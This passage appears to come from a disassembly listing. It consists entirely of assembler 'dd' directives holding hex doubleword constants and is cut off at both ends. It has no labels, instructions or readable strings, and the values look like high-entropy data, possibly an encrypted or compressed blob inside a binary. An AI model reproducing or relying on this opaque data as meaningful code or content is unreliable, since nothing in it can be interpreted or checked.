4DBE5F08h, 0C7275h dd 5C77828Ah, 13CC6CD1h, 317C3718h, 0A8A616h, 2B06A449h dd 9A4DEF41h, 754DD5Ch, 905AAE0Ah, 78269961h, 1758BCFCh dd 4A713Fh, 13BA68FCh, 0AB008E7Bh, 8A5FA798h, 150905h dd 37FA572Eh, 0D5C01EB4h, 78B73F00h, 47C95479h, 7DC33E98h dd 0EAB65A80h, 0C5ACE560h, 73C88716h, 94FB7200h, 321836h dd 82BCA221h, 5BBEAB5Fh, 0B06A6300h, 2CB85C6h, 0D20A4C11h dd 0EE407A00h, 0BCA329DDh, 8A45B501h, 3CD66723h, 0B8D09F30h dd 7CFB000Dh, 42905977h, 0E500BA88h, 0AED28E5Fh, 249228h dd 779F8380h, 0D1734B1h, 0B5A42712h, 1FE807BAh, 5D61E007h dd 0BF0EFF91h, 0E73BB2C9h, 6DA031BAh, 5F67FAh, 4653F7A4h dd 9F38942h, 0F6838D01h, 17B903D8h, 12F37C4h, 6D3045E0h dd 0EDAEA062h, 18080F9h, 0E2C15EBAh, 0F8F1A3E3h, 0E6A361h dd 0B53102F7h, 1E8D7AF6h, 55FAAC00h, 0AD9605CAh, 0E6E4B8h dd 7B5C685Dh, 0CF10DB43h, 0C387FE00h, 4762750Eh, 0E83403D5h dd 0DB787786h, 9D44BB8h, 2AD9E700h, 124F2CF2h, 523B00FFh dd 0A6967D7Ch, 7F010EF0h, 0C2E9D104h, 0EDCCCDFDh, 5B530012h dd 2B93A4DAh, 720BBB2Fh, 0A1B47Bh, 8E14053Dh, 0FC1700ECh dd 0FDD36D60h, 0B7FA4E87h, 0CBCF6101h, 0C75A2945h, 55AAF4h dd 600E3283h, 842EAFADh, 0EC2D4903h, 0A87C6766h, 990FEh dd 0F2B0E4Dh, 7EDBB502h, 2B7CF3Bh, 648AFD3Dh, 0DCF96058h dd 60F4001Ch, 70BBC979h, 0D300887Ah, 0F14FA837h, 2A07DDBFh dd 9CE2F6h, 4A7A6166h, 0F9CA11D4h, 0DFC08400h, 36C776Eh dd 2723001Bh, 0EB9ED252h, 400C149h, 0F713DA1Ah, 767AF29h dd 0CF3D7B25h, 0BE6B032Eh, 322087BAh, 0C35E9C8Dh, 8ECFFACAh dd 9D9E2CE8h, 25F1A500h, 69BA0765h, 0D95F0302h, 85931133h dd 8810D0A0h, 38FD7516h, 0EA00AB16h, 0C5D2E565h, 0DAE90ECEh dd 62235381h, 41E8903Dh, 7E007482h, 0CCBA2FF9h, 32BD6DFh dd 9F095436h, 94800417h, 0E10074F2h, 25B3F7DAh, 33A758Ch dd 88B56A2Ah, 0C698EEBFh, 0DA7392E9h, 2C879B3Dh, 420F1FD1h dd 906F60F7h, 12290E1Eh, 1E0958Dh, 58D8F50Ah, 55CD30BDh dd 0F3D98F0Ch, 277C28h, 947B8659h, 0E6CAB709h, 1E634503h dd 90AE711Bh, 0D1DE19h, 608EDA79h, 4E3FAD48h, 0EA007FFEh dd 42206FDBh, 0B374C8h, 0EC37259Ch, 9D95FD1Fh, 3128D4E4h dd 0D00D38Fh, 51E024C1h, 3C08EB44h, 1101D02Bh, 0C5729EBEh dd 5482209Ch, 4C4FF919h, 0E3415838h, 0A7D41C88h, 0BD640063h dd 2FD7F30Eh, 927A83ADh, 57C92900h, 0D5C55A10h, 4D1E0165h dd 5EE0BD5Bh, 60F1CDD0h, 890092ECh, 1138F908h, 79860E5Dh dd 84F85073h, 6BAD0317h, 633AF121h, 0BE5E5088h, 3ECA9C00h dd 0B44FA404h, 35E5302Fh, 7CA68021h, 1F077907h, 84E13178h dd 0B261E059h, 888E4h, 2C348F9Dh, 50788643h, 0C082A600h dd 5487736Eh, 0F7D10013h, 0FD1D6FCBh, 0E57B7EBFh, 0F8A58F03h dd 0A08127D4h, 97D5AA0Dh, 75005EF8h, 0FA1BC438h, 1487AF3Fh dd 90167CC9h, 2DE32B0Fh, 0D1891380h, 5700353Eh, 9A62749Bh dd 98D4BB47h, 0A05D030Dh, 3A37092Ch, 18D93900h, 5A78A15h dd 837844h, 3E5512FEh, 0CFEB5E68h, 0FC26890Fh, 404EE185h dd 1EC42B04h, 0D0E303BDh, 86C4664Dh, 0E96E0291h, 0E98C2025h dd 0C6DC8200h, 20D59335h, 0DABC0049h, 0CA683285h, 0FB0017FCh dd 0A52D87F5h, 36362B8h, 145849E0h, 0E3C95C56h, 8348BBE2h dd 736C38C4h, 86F9918Dh, 0F4F9DDCh, 147517A3h, 793BC161h dd 70C8F9AFh, 4503631Ch, 0F4312F99h, 83E000D5h, 3ECC735Ah dd 0AFC9B0Fh, 0C0E15800h, 0C4B8BE49h, 0DC4050AEh, 0E301008Fh dd 921535D7h, 8203618Ch, 73D6B4C5h, 6E5BE06Ah, 0AEEB0156h dd 0E340946Bh, 0BC242044h, 0A65C7100h, 87222C93h, 459B0019h dd 0F0A154Fh, 9A04437Fh, 893A2F18h, 40CDBC80h, 5BF484h dd 0ECC6779Ch, 8C71A8Bh, 80B690C9h, 0B7565F4Ch, 60CE004Ah dd 0B27C9944h, 0E80BE77Fh, 0DF7977h, 66CC39F4h, 2EC40224h dd 271C2967h, 0C28B3840h, 0B39A8D00h, 3851579Eh, 0C9A70019h dd 0F4E4B95Fh, 5900E0D3h, 0B3FDC78Ah, 38DF0Ah, 0C45E1AB6h dd 0AC558D41h, 763D2230h, 64BC7Fh, 402D378Fh, 4F66BED7h dd 2C007C90h, 46D9B982h, 85C73h, 884D06EFh, 0A0ED48BCh dd 77521300h, 7899E045h, 55500123h, 8118602Fh, 0FB70202Ch dd 7D4CEC59h, 0A8C43424h, 0AA80A4A6h, 70E9B59Bh, 0B19A0030h dd 0F3C07222h, 0D33CA4A3h, 173E188Ah, 0DC5430h, 109AC8B3h dd 1D620E3Ah, 70FA5100h, 2DAF4BADh, 39B0094h, 7A5C8446h dd 0EE0C2B05h, 400277ABh, 69920042h, 0ABBE3EDh, 0B801D0ADh dd 0AF106CB1h, 0CDDCA61Ch, 0F31E0357h, 45916EA4h, 2A3F5807h dd 47C2FB04h, 7B81D787h, 0CA15D18Bh, 5A8F4CC0h, 3B5D2A00h dd 0D777B472h, 3F7A009Bh, 63D8D697h, 830042ACh, 0ADA7212Ah dd 15EB93Bh, 22F1B458h, 64DDD262h, 3E7F7030h, 2556E500h dd 0EAC16C34h, 98D92867h, 5A5500A0h, 8D7FDF0Bh, 43F20C14h dd 4774511Eh, 1AE97540h, 30EB9CE2h, 0F851D9D5h, 5C7B3E35h dd 0CC00C0EAh, 0FF866E91h, 53CDA02Eh, 0D52E34E4h, 83F906A2h dd 363F41AFh, 8DFD8037h, 61CF99E6h, 4F77000Ah, 2F109A2h dd 0E2004649h, 0FF4264CBh, 9E54F0h, 82160ACAh, 0E72BBA04h dd 0F6BEA705h, 0C0012897h, 0C3256173h, 48D9E042h, 2882008h dd 90195C6Ah, 0A8C3483Fh, 0AA4369AAh, 461D4A80h, 8BE07904h dd 68804083h, 1FF6349h, 87E7647Eh, 52AE4CDEh, 0B0802AC4h dd 0B06911BDh, 479C8E54h, 7BF30B00h, 7D749372h, 0CC917C8h dd 168C0CB2h, 0FF00BA70h, 8E450679h, 2E669E0h, 87DB2D0Eh dd 0B4402A70h, 0A7006774h, 69ABA82Bh, 3E26AC5Eh, 0D100B395h dd 9E485D3h, 0D4763FA6h, 921F7A00h, 0CB1A2EA4h, 31E53E67h dd 0B78A5D80h, 0A2751ABh, 9F030C74h, 6E64880h, 688E8003h dd 0E2CE00A5h, 947C782Dh, 0BE00ACD3h, 555ED87Ah, 1D916FB7h dd 8EC67689h, 9C80B0FEh, 18E1789Eh, 530D22h, 4AC15890h dd 0A0B45E42h, 3B1EDD05h, 6CD06EACh, 1F5610AAh, 3B50ECADh dd 0C730D487h, 4B7DE1DCh, 0D32EFCB1h, 31D5C430h, 6D5258h dd 0F6A94009h, 3B44B517h, 0BA2492F6h, 0DC406CECh, 518C697h dd 0A54BB849h, 0C81D99h, 602CF2B9h, 0D400DA7Fh, 58ABC384h dd 5C0109C7h, 3C748A14h, 0C69F7E95h, 84780C8Bh, 0D776A2B8h dd 53A62511h, 28036A00h, 0FF5A5B32h, 0E1C31E00h, 79C50F3Fh dd 0A86C09E4h, 3C0388F3h, 68588546h, 0A55800E8h, 0D492BB78h dd 298F1C25h, 9B10C607h, 9D005988h, 0E49F0211h, 1294E9FDh dd 40EB679Ah, 77899028h, 0E4E8D4C7h, 0C673ED17h, 24C56C47h dd 5017E2C0h, 9F141825h, 5DC4518Ch, 64328B02h, 41FE6A5Bh dd 0D82415B4h, 0A2670733h, 71093119h, 828114A0h, 17A4EA78h dd 0CEBC487Bh, 0BBD11FFCh, 3BD271h, 4E7D3C9Ch, 11003D80h dd 0DA4050F5h, 39BCAD8h, 255A5710h, 52E8753Bh, 0E80BB351h dd 8205718Bh, 0C0779880h, 16AD078h, 95841048h, 0F481DA89h dd 5C07AC12h, 67C09CB2h, 60740EE9h, 28233F6h, 4429C3F3h dd 0CA80B9EFh, 0AB3B0E24h dd 0ACC91Dh, 7C1E17FEh, 83523Ch, 8203D36h, 74A0262Eh, 870094ECh dd 49971480h, 9B4CC38h, 271A09E9h, 5A9C081h, 0DF60F8F4h dd 3181DB00h, 0FD56A286h, 1EDA008Eh, 66DEF828h, 887D3EF6h dd 0B919930Bh, 89F8802Ah, 4856FB85h, 22005595h, 76DE9EACh dd 0DCA0FDAFh, 0ADE67DF0h, 0B5E7D800h, 67D1BEAAh, 0B7E6BFh dd 0B943CD4Fh, 61F86F5Fh, 0B5812001h, 57638E3Bh, 3794D4h dd 0B7E018D0h, 2BF5BCE9h, 485CECA0h, 0BB1FD17h, 22574403h dd 39EEB08Fh, 9D2B0F54h, 87E18486h, 0C4FA6BCBh, 6C005115h dd 0BEA263Fh, 3CBD71AAh, 6089E622h, 24410803h, 10F880B3h dd 0E94062E8h, 555803EDh, 0E12BC7CBh, 5A168EF0h, 78AA8D00h dd 0A65D0DC1h, 56D7064Fh, 2104F43Dh, 0B8E4B628h, 0D800A878h dd 40CE5950h, 1E1D5E5Ch, 40E24EEFh, 3B1A9599h, 871D7005h dd 325FDAD7h, 0E59DB040h, 81EDEAh, 4260E790h, 3A8DCBF7h dd 0D2412E00h, 0C422D892h, 641D006Ch, 0C8B232E5h, 0B1036913h dd 0F5A54D91h, 0F2078BBAh, 9C080FCh, 267903h, 56A9775Bh dd 7D9A4A8h, 9616FA00h, 0C16B4E33h, 0E68100FEh, 0A2901ADh dd 0F91F505Eh, 0CA0B085Dh, 9F20002Fh, 38F1D1h, 2596E344h dd 0ED8FBC37h, 6F352400h, 0D24CA947h, 4485011Fh, 0A7938D01h dd 0E5D020CEh, 0CF0667F2h, 141AC321h, 0A4E8006Ah, 56130A28h dd 0EB0E3465h, 40DC5FF6h, 43D16776h, 3F5490FAh, 4000C250h dd 0BF3B4509h, 3A00FB1Ah, 4BD1958Dh, 8CFADEh, 0C2C9D32h dd 0D0CC80EEh, 5A17B700h, 0AB54381Bh, 2FF807E4h, 52A65032h dd 504010E6h, 0FA405D3Ah, 620B0F27h, 0D22E66F1h, 0AF1D2E60h dd 86040889h, 0F75B59C3h, 49CCC8h, 85933E10h, 44774802h dd 0F4D90C00h, 0F5213435h, 1BFC00F9h, 0F1A2C83Eh, 2D4DD3EEh dd 5DE96E98h, 0A89DE2C1h, 9320AFB5h, 4DB80959h, 0A98945C8h dd 0DADB8080h, 0B1005269h, 0C44A0EF7h, 0D943EEh, 4D0BCF04h dd 8228AFAEh, 0E3034F00h, 29D4F0BEh, 4A5900DEh, 0AA752EB8h dd 680F1979h, 81BFFCEBh, 0A4866983h, 3A42F098h, 35003036h dd 0E4E0E65Eh, 53CA93h, 1F872489h, 0DA3D864Bh, 0AD6DCF00h dd 0F02EBE60h, 0A3420053h, 8E9F8143h, 0A40FCA72h, 611799B7h dd 1E7D73BAh, 7434F561h, 39070092h, 7A41CCFAh, 32003430h dd 42ED5926h, 4D781C15h, 9600B0A3h, 18AD12D4h, 7601DC2Ch dd 8FBBE752h, 94C01D41h, 399B0080h, 8B65A9CCh, 71007A4Dh dd 23F0332Ah, 285C97h, 30C4F915h, 9D298574h, 6DF89E00h dd 6591E857h, 0F616710Fh, 0F140019Ah, 31699B2Ah, 341DF824h dd 805C4E3Bh, 8A11D779h, 164C05CEh, 40B4552Ah, 12BE43E0h dd 0C600F257h, 17A22762h, 950F433h, 0D580445h, 3CC89020h dd 27000AE3h, 572530DDh, 3AC818Ch, 0ECD7BA0Ch, 0C1886739h dd 0E5015A36h, 1EFC434h, 2C2CE6BEh, 66645800h, 0DEE32C7Dh dd 3B36D500h, 0ACF89757h, 0CC4E1F5Eh, 0A22FC0B1h, 4C083703h dd 0EC727500h, 0DF9AE420h, 2164003Bh, 6E8E6C3Eh, 740057D0h dd 0C98B9487h, 1C0424Dh, 0F8AC90FDh, 0CCC2CF41h, 0A2006808h dd 0DAA389D9h, 59379Eh, 9540CC75h, 0E924CEF9h, 0E6BB5D00h dd 5B3F20EEh, 69D43A94h, 0D7F1EC00h, 0D9E58430h, 80830208h dd 0C8BB43h, 7ED3BE01h, 6077FA2Ch, 6E0F4ECEh, 0C076598Ch dd 0F29E97B6h, 0EDC9025Fh, 2D0C033Eh, 5544D560h, 7C93CF02h dd 685A9070h, 0B2ED6054h, 0CBAD2454h, 57F600EFh, 84F4B8AFh dd 0C200D479h, 24BA2D09h, 538C2Fh, 28556B1Dh, 0F3677FFEh dd 29EE2201h, 0EA520DABh, 1262A887h, 0F5CC8F93h, 0F0F02211h dd 8080B5B0h, 9B05C2F8h, 0F38A7DC1h, 900EB090h, 0AF0B0036h dd 0F7693D1Fh, 0C8002924h, 0CD4BA0D6h, 82F8D8h, 0FB9A5A61h dd 7FC193CCh, 0A10E4A74h, 93DBD4B1h, 902C384Ch, 0E2E00078h dd 0B1C18356h, 0A10333CAh, 0FA931A13h, 8C78007Fh, 9AC65205h dd 7C077D68h, 1876E28Fh, 0BD9E00DEh, 1F4FED27h, 80CA608Ch dd 22EFC872h, 8200E2F1h, 23DDE028h, 6FB80257h, 794018E7h dd 0F8CE8B29h, 2E3F5600h, 0A472C132h, 0F520C2DCh, 0D4504982h dd 633C5603h, 9C2179h, 5B57FA30h, 9A0C4F12h, 0F4316618h dd 0E472C018h, 2840DFEEh, 3C05F084h, 26062499h, 289DC151h dd 21255572h, 644400E7h, 28CFF2B1h, 89A04FC7h, 98F5E8Ch dd 891883A5h, 16002C0h, 56CFF351h, 0C0047562h, 52EA69D1h dd 4A14F8D5h, 3D208CDFh, 0F98902A1h, 0A0F6C9E3h, 0C3DB0FE0h dd 88722E46h, 63C80CD4h, 20037A98h, 0A39EE896h, 606040CAh dd 761300FDh, 37EB5039h, 0B677E72Eh, 0D5A44901h, 0BC2C4641h dd 3E68DCh, 6A51107Ch, 7F5F1B18h, 12DC5901h, 1D375AC9h dd 0F6D8C5E4h, 316D003Ah, 3B40619Ah, 49F8676Ch, 0BB8D5400h dd 17AB633Eh, 8E6907DEh, 70AE3510h, 56BDD28h, 66EF7400h dd 2EE027B1h, 55D90060h, 1B24E20h, 2A4CC047h, 6C280C8Ch dd 7465C8CAh, 0B0D150B1h, 3E1DF876h, 84059440h, 0D08DBF55h dd 0FDDBA50Ch, 6524CC72h, 7D19540Ah, 21800609h, 2CCC05BBh dd 803469Ah, 3EB9676Dh, 6E5824ADh, 0AE750810h, 215ECD09h dd 9F4627Ch, 7951D047h, 259469h, 2A461024h, 1AD4B40Fh dd 194D02F3h, 0CC9A7940h, 1EDF200h, 0FEA4CDD4h, 3A991813h dd 2F6F70ABh, 0F0BD5110h, 0ECE36D15h, 98AC0C01h, 0D4FA6343h dd 1EE0B2E2h, 6C27B400h, 0EB4E59DBh, 748D0593h, 3452130h dd 0C8F4B084h, 482EEDC1h, 48CA08Ch, 65FACCF6h, 200862D2h dd 0A3CCFEB8h, 0BC48E67Eh, 4C2A00D3h, 0A4F4DBC1h, 9961182Ch dd 8FE3A8FEh, 8869A0Ch, 7C21096h, 0FB278ECFh, 48DC105Dh dd 70002E50h, 0A946F60Ch, 7D7E6E08h, 0F29B00BEh, 0C9094E80h dd 1B0B5D54h, 81C31140h, 0A778159Eh, 31074878h, 90BD5F7Dh dd 96A81447h, 44008AE2h, 0EE99635Dh, 0F4FCA9Fh, 9E4A504Dh dd 8840D281h, 0A3A7F867h, 71E22000h, 3BEDF053h, 32EF0030h dd 0CF8B0802h, 13007D22h, 6E91E7CAh, 35F4FC1h, 79645C82h dd 58A869E0h, 0AF0FFE36h, 0CEBDC8B0h, 3AC1E0A2h, 3425F6Bh dd 48FF5DBFh, 4BF14064h, 4107EBEEh, 0B07B7C3h, 26DD7D30h dd 18226090h, 9569FCDBh, 3A847600h, 8AEB4604h, 0AABA1FE6h dd 0CF1A80FEh, 0C4719B2h, 0F1967B00h, 0B8E79BB3h, 54DD0088h dd 936BBB9Fh, 170EC35Ah, 0A07AB5E6h, 0C7241239h, 8AF626h dd 2050EEE3h, 0CD789EC5h, 797FFD00h, 444EDF84h, 0E6D918FFh dd 0BAE1C057h, 0E34B8005h, 5006826Fh, 1A307A81h, 18418A65h dd 2C21360h, 0D3C7E800h, 482AA386h, 0F5890066h, 4401FC26h dd 84A84199h, 3070443h, 0E64EEF47h, 0D2C07B87h, 0AE155Ch dd 910DEC87h, 43207F13h, 35B0170Eh, 0B1D9E0CEh, 0C8F5D1h dd 0A7EE1A4Dh, 0BA59CC2Ch, 0FB88E800h, 7FF328F2h, 96FD0BB5h dd 940D2621h, 0E0409C10h, 0FAECDC07h, 8F3FD30h, 530700B8h dd 0B3CC630Eh, 77003471h, 0D9E828D0h, 8C34Eh, 5A1F89B7h dd 2FF205A7h, 68AB0F00h, 0C071B6B3h, 182A783Dh, 0A0383F8Ch dd 451934B5h, 0CA98A186h, 0B86DDCh, 573E07E3h, 6EB6A373h dd 53EAB100h, 74018CAAh, 3415004Eh, 3C69FEEDh, 5C5C99BBh dd 3D490C44h, 6631948h, 33F6B3C7h, 44A0A81Dh, 65072549h dd 0BA3C678Bh, 15E9C716h, 98B206D7h, 2D8B017Dh, 71379D88h dd 0A8845054h, 44037C1Fh, 0E7F154Ch, 0FF06F9E6h, 0FDEFC0h dd 2E2943E0h dd 0A1CAAB71h, 0E2C36700h, 0A63F65BAh, 68150ED2h, 0FE9D9894h dd 0BD438A00h, 921BC310h, 24DDA03h, 0B0293DF5h, 0F05EF877h dd 0E34A06BEh, 28060573h, 0D1FB6A07h, 7C30F785h, 6BEDA2h dd 0C47D4812h, 306E9BFEh, 3DDD4101h, 51BDFB7h, 5C3900CBh dd 92A6B867h, 467639F8h, 6B908709h, 2C000010h, 6CC316h dd 974156E5h, 9AFD1E58h, 4F574D00h, 0C9936585h, 9DBE3CA1h dd 0B9624018h, 303AB169h, 8D4E807Fh, 19920B33h, 2ACA0685h dd 29BA3AC0h, 5E25180Eh, 0BC54A0F7h, 38B70234h, 0FD0FFC9Bh dd 6B60930Fh, 3A82C213h, 10B0D260h, 3E8C004h, 912E0DDDh dd 4C000CACh, 0F7423BFBh, 9076C9Ah, 8D5E560h, 90027981h dd 1F02FACh, 98C500BBh, 0C282FE88h, 0B9506A18h, 0B11FFC8Eh dd 1B4028B0h, 2762669Dh, 0D6B064h, 29A489A9h, 0D421ED81h dd 5C13E900h, 1697D56Dh, 84B100E0h, 8F245AD3h, 3E07D842h dd 0A48ECBD7h, 3118B6C6h, 16507CF0h, 7EDFECD1h, 0C4F065E8h dd 0ED771A00h, 3A6E75FCh, 6F8D3AE5h, 0A9211830h, 0BE007712h dd 0DA34E8ABh, 0D8B3B4D6h, 909E2098h, 0B8762E39h, 0CC840861h dd 64590160h, 80384A26h, 0D6D8729h, 0CBFBE90h, 0A7A6B1ADh dd 21C12308h, 870D54E6h, 7328CF0h, 3AF246DEh, 15604F68h dd 775571EDh, 0F4AA4B00h, 4245C88h, 662A0056h, 0B369BBE5h dd 0CE60A698h, 275C7688h, 0F4D2008Bh, 3ACBD69Dh, 0FD129C67h dd 26006CDFh, 6AF10CC6h, 7B83E259h, 0D8FA008Fh, 0B329B620h dd 3F0035A9h, 4826DFCh, 3D0A50F7h, 2380A637h, 69B4262Dh dd 77030EFEh, 9A0C7E8Fh, 0FC42F8A4h, 0F2943E7Ah, 0DF4F9980h dd 298BA1Ah, 92586900h, 2C9B51E0h, 93451C47h, 27A006FBh dd 0CE2B41E7h, 0B3700446h, 10C6600Fh, 0EAA78F0Ch, 0DC179D3Dh dd 0DF240044h, 2A7F2790h, 3D3101B2h, 0D90FAD78h, 9F2990BDh dd 482CA884h, 0A34342B5h, 3F21BB24h, 20A91226h, 8FEE63F8h dd 480098FEh, 343052FCh, 7C6DB522h, 3C070071h, 324CD7E1h dd 6600B4C2h, 0DE69349Eh, 55279Bh, 1619F80Bh, 9FEC24FCh dd 7EF11E01h, 3F7B11CBh, 0A8788EC0h, 122494h, 418DC4E6h dd 0B3F08A7Eh, 0E224E3Ch, 13D19BAFh, 1E085B00h, 15A6578h dd 9E8C3BE0h, 0D4305DB1h, 0DA3CD55Ch, 0F4638628h, 48B0CEh dd 982D976Ch, 0D32595A1h, 1D5097h, 904B5DC0h, 0EAE11A7Bh dd 0A84C5800h, 0FB8B6FCh, 6EC0036h, 8F1448CFh, 180087BEh dd 0A3806420h, 0EA6CEA7h, 0F6F579DFh, 0BACFFA0h, 1100F41Fh dd 7F5E98F9h, 8C3C31h, 6F2E789Dh, 26B9C044h, 14A9841Fh dd 0F8E723C0h, 79F420h, 916E4B19h, 0C6FF425Eh, 0DBE40E00h dd 0DAFB1F16h, 50E6F3h, 6002EDF6h, 66F12ED4h, 25420500h dd 21FC899Ch, 0BB90776h, 0D3AE263Dh, 52C844ECh, 46005DD9h dd 74580649h, 251577Ch, 17D22B87h, 33E01BE1h, 7100538Fh dd 0DFE79D36h, 0EE07EE6Eh, 0EDB30716h, 6064EF56h, 0E9FB3DCEh dd 1BB280Fh, 1F6A0013h, 0C90F85h, 3E6E5329h, 0B3A4A9BEh dd 1A60D802h, 804A9702h, 0F42308E8h, 385A00BCh, 0DF2AA924h dd 79389957h, 367D094Eh, 84C980E0h, 15427BAh, 2ABE812Fh dd 0F0E985E5h, 30005BB7h, 0A3AE91F1h, 9C7B86h, 275319D2h dd 0FE4FABE9h, 0C12DBA00h, 124DA58Ah, 51E30045h, 0C9A296F5h dd 6926E967h, 9800E9F9h, 25524B5Ah, 0A3DA00A9h, 1EEFD184h dd 0B1F6AECCh, 299B7F00h, 14362DFAh, 0F57600CDh, 6B1D3B87h dd 3000214Bh, 70EF93E7h, 4AF9924h, 0B1A2535Fh, 0E68C8006h dd 9600AA5Ch, 97320E2h, 57677Bh, 0C3D22330h, 0B243B3C9h dd 36547A00h, 68D95978h, 4F62001Dh, 977B4665h, 0C200FC99h dd 4B63E8ACh, 649C02h, 0F6EC983h, 0B07AAA3Eh, 0BA24D600h dd 0C4F19A99h, 56E4ECh, 981B0237h, 0CA5C5810h, 1A7D5A0Fh dd 319920FEh, 54883704h, 0D0C84Eh, 0A2242C6Bh, 0FD515C5Fh dd 9F8FA600h, 653BB0C1h, 0D82B501Fh, 0DFE2004Ch, 970E74AFh dd 22004D64h, 171D0CC1h, 74D9F9EBh, 6385BFE6h, 0EFC801DBh dd 4EE311h, 44B07A9h, 209968Eh, 0AAB480B3h, 8F02E16Ch dd 0FDF9E7F8h, 81B04020h, 955B0055h, 99B7B66Ah, 7E3B71C9h dd 88D90026h, 0FFDC20FAh, 35D801CBh, 0C4335021h, 0E7D0CC07h dd 37007477h, 16EF447Fh, 4AB18AEh, 4982C012h, 787F801Ah dd 2E031C93h, 61F5117Ah, 57BEC0E1h, 0B4C61369h, 96B04009h dd 0BF284252h, 1B110C00h, 446259EFh, 3950001Dh, 0FB10A89Bh dd 0FE00D9B3h, 0E471A585h, 0A74F6Ch, 0CCAFB412h, 7BA38244h dd 51EA2200h, 98F1A82Bh, 0D42F3893h, 2E5D1A00h, 4C8A4229h dd 67611200h, 30A59708h, 325307C6h, 0B033390Fh, 13BD5E26h dd 50B0A23Dh, 7D003FD8h, 0E24E86Ch, 60259B32h, 0B04A28BCh dd 0A2F68B59h, 813770Fh, 653E614Ch, 4D305ADDh, 81B40036h dd 3B5011Eh, 22B8BDD7h, 0D9B83500h, 0F8AB3A4Ch, 0E2CD0079h dd 0E3862D77h, 1D008742h, 0C6F141BCh, 0C0D182h, 33A8B2F5h dd 77BFDAF4h, 721F2C00h, 7955D3C5h, 26660018h, 0B8071D03h dd 832EBD05h, 0B400B9F4h, 908DD4D9h, 743E00B5h, 64F2F68Eh dd 170CE7F1h, 0E07006E8h, 65730018h, 940BD569h, 2F1D3A56h dd 28C74947h, 3060ADF3h, 34A4ACh, 3C65944Ah, 0F47AAF71h dd 44D9F500h, 7E206FC7h, 339F0222h, 394C7416h, 0B9F74840h dd 444FBB21h, 0EE04D08Ah, 2303032Dh, 9A8DDD82h, 0B0C5B3C0h dd 122B62h, 48BD4737h, 0F5B42710h, 3020A600h, 31C96F2h dd 2BFA86h, 0FD6011B5h, 89352A23h, 0E4A29A00h, 1FBB50CEh dd 777230h, 0EF5B8DB0h, 712E3D9Dh, 0DE8BC1Dh, 4554DC1h dd 5D305F6Ah, 4C7AECA3h, 6200045Eh, 7629A6FAh, 4B003BEDh dd 0D0E6A4F1h, 2A9037h, 92A912E1h, 4AD8856Dh, 0DE208800h dd 7F16C1C6h, 0B22E0EAEh, 59211110h, 53509DD3h, 8F8CCB4h dd 6B00A968h, 2F918B9h, 54CFB38Bh, 0D7B864h, 0AE48A0F0h dd 7A7093DBh, 0D860833Eh, 0B200096h, 0C0D5F763h, 92EC0552h dd 2E1CBC9h, 0E70DD3B4h, 9140FC45h, 0B2C867h, 6346B1D0h dd 872E0F18h, 2A9FD500h, 65FB1701h, 885C0089h, 790CFFEAh dd 130006A8h, 4B164DDCh, 47EB10h, 0A7583964h, 734687E6h dd 9A7D2B00h, 0A15E9C3Eh, 0CA4C0028h, 6B891B99h, 360E5280h dd 0AF8611D1h, 540D80E1h, 0CE1784h, 876F6AE3h, 0B697301Bh dd 1D69A301h, 0B4107DAAh, 6BA8C8h, 0BB6E2BBDh, 1AD50430h dd 0D8266300h, 857D2D68h, 7CE90087h, 0DDE36A9Ah, 92009755h dd 1B3FEDEh, 0FBD1C4h, 1CCA75AFh, 84741358h, 0B95B2100h dd 0A599C724h, 0ADA31F87h, 7F6801B2h, 0F39E3FB6h, 0B958097h dd 8A72CEAFh, 0B9020494h, 604F18ACh, 7BF88CAh, 0E3747112h dd 7FCF75h, 97B672C9h, 9D01FC06h, 0F55FA6F4h, 806001A9h dd 0BE492C95h, 0E53C00E8h, 3641DFAFh, 0C07C5Ch, 38407E3Bh dd 8EE0C5h, 0D62F862Ah, 0FD9EBD29h, 6FFB4500h, 0EF1D469Bh dd 0FB60BFC8h, 6300BF22h, 4191A1DDh, 0E96ED9Eh, 819806CCh dd 0F99261A0h, 1300DF99h, 0E833BCD1h, 1D4A82E7h, 4BB0ECB8h dd 928027CCh, 81D9CFA1h, 0F6D3Ch, 0D5C26442h, 245B1h, 0A80DE48Ch dd 2671A603h, 9308EB00h, 9C65532Bh, 0E1801CCBh, 2317D7D8h dd 81ACAB30h, 30A5D967h, 0C6006DECh, 70371B78h, 15E813h dd 61F0E149h, 14A7F24Fh, 8167B928h, 0A6B77217h, 185C0Fh dd 0E020764Ah dd 6B30E6Bh, 3267D61Fh, 0F260FEDDh, 0BF7B7374h, 0C22B4D00h dd 9FDFFC35h, 6DBC00E6h, 9479AED2h, 5EFA819Dh, 0CD5D1B12h dd 5649E480h, 7A100309h, 722A51D0h, 6EB03DA0h, 2B9A0C0Fh dd 5D0D5ECAh, 6AE030AAh, 795316D0h, 0C6403ADh, 0D0F7314Dh dd 661AB7A3h, 60F34707h, 81C04EE2h, 0F82083AFh, 3DF10C1Eh dd 87308237h, 0B3B2D00h, 0A7932A3Eh, 1A9600B2h, 62C878FAh dd 0A300C9CBh, 43D9F31Fh, 1347D0Ch, 9D643515h, 503EE0D4h dd 22B273A4h, 38627E00h, 0AC2EBC20h, 182DEE33h, 0E1C2601Ah dd 0E9022331h, 1B4435EEh, 490C8363h, 6AF820E4h, 572D8A01h dd 1664A8A2h, 4BFECh, 0C99DEABCh, 0DF07ACE7h, 0FDB9FA00h dd 41AA91B0h, 1D19F0C3h, 269ADA43h, 2DE5003Dh, 51389328h dd 148C4500h, 0A3A68024h, 5BFF016h, 219DB098h, 0F86980EEh dd 0DD0BAC56h, 80075A97h, 5BB09E88h, 706B07FFh, 216D7D80h dd 0C45E82A7h, 430017CBh, 0E3464023h, 5CB578h, 1B47B7A6h dd 622DF73Ch, 0F002074h, 15A9410Bh, 26CB5183h, 8EC0F6h dd 0B35F0CE3h, 0A0057AD1h, 0B6109F81h, 4EBCA445h, 0A111B901h dd 34D4F514h, 17910598h, 1332574h, 0D9022EAh, 8F8DD005h dd 0CEA73506h, 408FE5Eh, 0D3ECA246h, 0E0D987FDh, 0DB2ECB80h dd 0A4189600h, 269DDD62h, 0B67809F3h, 20C8E5F5h, 8A056C21h dd 87E29B1Bh, 0DFC0F7C4h, 0E6658C64h, 9C2E07AFh, 80F08169h dd 0E14C6158h, 942CFDE8h, 3B1D0E1Ah, 3F15983Bh, 79DDC9h dd 83586F32h, 0B58F9CC4h, 3B034200h, 0A79D2CD2h, 0A4FC09h dd 0D7CB0A1h, 4E7F120Bh, 0CFC44800h, 279CB874h, 17A1C9CAh dd 7DD53410h, 48AB3200h, 304F2621h, 0A231C0C3h, 95FB2722h dd 0B6259204h, 8CD0908Eh, 0CE8816FCh, 15A09941h, 233648BAh dd 9CF5F900h, 6172B4BBh, 